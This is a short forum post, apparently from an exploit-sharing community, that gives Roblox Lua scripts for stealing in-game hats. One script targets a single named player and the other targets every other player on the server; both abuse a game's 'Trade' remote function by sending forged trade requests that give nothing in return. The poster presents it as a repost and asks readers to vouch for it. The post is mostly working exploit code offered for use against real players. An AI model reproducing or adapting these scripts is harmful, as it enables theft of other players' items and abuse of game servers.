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- Single Player :
- local Player = "useless_lampshade"
- local Stealing = {}
- for _,v in pairs(game.Players[Player].Hats:GetChildren()) do
- table.insert(Stealing, {v.Name, 0})
- end
- game.ReplicatedStorage.Trade:InvokeServer(true, Player, {}, Stealing)
- Whole Server :
- for _,v in pairs(game.Players:GetChildren()) do
- if v.Name ~= game.Players.LocalPlayer.Name then
- local Stealing = {}
- for _,c in pairs(v.Hats:GetChildren()) do
- table.insert(Stealing, {c.Name, 0})
- end
- game.ReplicatedStorage.Trade:InvokeServer(true, v.Name, {}, Stealing)
- end
- end
- He snipped the thread so me GamingDuck decided to be nice to people :D
- Please vouch
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